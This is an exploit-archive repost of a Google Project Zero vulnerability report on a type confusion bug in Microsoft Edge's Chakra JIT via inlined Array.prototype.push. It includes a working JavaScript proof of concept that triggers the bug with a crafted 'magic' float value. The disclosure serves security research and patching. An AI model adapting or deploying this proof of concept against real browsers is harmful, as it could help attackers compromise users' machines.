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Microsoft Edge Chakra JIT InlineArrayPush Type Confusion

Microsoft Edge Chakra JIT InlineArrayPush Type Confusion
Posted Aug 17, 2018
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra JIT suffers from a type confusion vulnerability with InlineArrayPush.

tags | exploit
MD5 | 10eb2bef76e9e5e5df10028a6b00b0b7

Microsoft Edge Chakra JIT InlineArrayPush Type Confusion

Change Mirror Download
Microsoft Edge: Chakra: JIT: Type confusion with InlineArrayPush 




This is similar to <a href="/p/project-zero/issues/detail?id=1531" title="Microsoft Edge: Chakra: JIT: Magic value can cause type confusion" class="closed_ref" rel="nofollow"> issue 1531 </a>. The patch seems to prevent type confusion triggered from StElemI_A instructions. But the SetItem method can also be invoked through the Array.prototype.push method which can be inlineed. We can achieve type confusion with the push method in the same way used for <a href="/p/project-zero/issues/detail?id=1531" title="Microsoft Edge: Chakra: JIT: Magic value can cause type confusion" class="closed_ref" rel="nofollow"> issue 1531 </a>.

PoC:
function opt(arr, value) {
arr.push(value); // <--------
arr[0] = 2.3023e-320;
}

function main() {
for (let i = 0; i < 0x10000; i++) {
let tmp = [1.1, 2.2, 3.3];
delete tmp[1];

opt(tmp, 2.2);
}

let arr = [1.1];
opt(arr, -5.3049894784e-314); // MAGIC VALUE!

alert(arr);
}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt

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